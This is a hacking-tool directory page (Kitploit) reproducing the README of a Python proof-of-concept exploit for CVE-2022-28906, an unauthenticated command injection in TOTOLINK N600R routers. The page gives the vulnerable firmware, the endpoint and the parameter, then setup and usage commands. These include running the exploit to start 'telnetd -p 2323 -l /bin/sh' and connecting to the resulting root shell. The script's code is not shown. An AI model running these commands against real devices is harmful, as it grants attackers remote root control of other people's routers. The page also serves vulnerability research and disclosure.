Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-28906-POC — Python proof-of-concept for unauthenticated OS command injection in TOTOLINK N600R, exploiting the langType parameter to execute arbitrary commands on the device. | Kitploit
Tools/GitHubGitHub/finnvle/cve-2022-28906-poc
IoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlHardware & IoT Security
GitHubfinnvle/cve-2022-28906-poc

CVE-2022-28906-POC

Python proof-of-concept for unauthenticated OS command injection in TOTOLINK N600R, exploiting the langType parameter to execute arbitrary commands on the device.

View Repository
1822 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-28906 PoC

Python proof of concept for unauthenticated command injection in the TOTOLINK N600R.

Python CVSS

Vulnerability

ProductTOTOLINK N600R
FirmwareV5.3c.7159_B20190425
TypeOS command injection (CWE-78)
ParameterlangType
Endpoint/cgi-bin/cstecgi.cgi
CVSS v3.19.8 Critical

TOTOLink N600R V5.3c.7159_B20190425 was discovered to contain a command injection vulnerability via the langtype parameter in /setting/setLanguageCfg.

Setup

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

Usage

root@kitploit:~
# Usage: python3 poc.py <TARGET> <COMMAND>
# Example: python3 poc.py 192.168.68.1 "reboot"
# Example: python3 poc.py 192.168.68.1 "telnetd -p 2323 -l /bin/sh"

python3 poc.py <TARGET> <COMMAND>

Example Proof of Concept

Using the PoC to remote execute the target to enable /bin/sh serving on port 2323

root@kitploit:~
python3 poc.py 192.168.68.1 "telnetd -p 2323 -l /bin/sh"

Successful PoC response

See the result if port 2323 was enabled

Nmap showing port 2323 open

Connect to the target using telnet via port 2323

root@kitploit:~
telnet 192.168.68.1 2323

Root shell validation

References

  • NVD — CVE-2022-28906
  • CVE Record — CVE-2022-28906
  • CWE-78 — OS Command Injection

Disclaimer

Provided as-is without warranty. The author is not responsible for misuse or damage.

Download Tool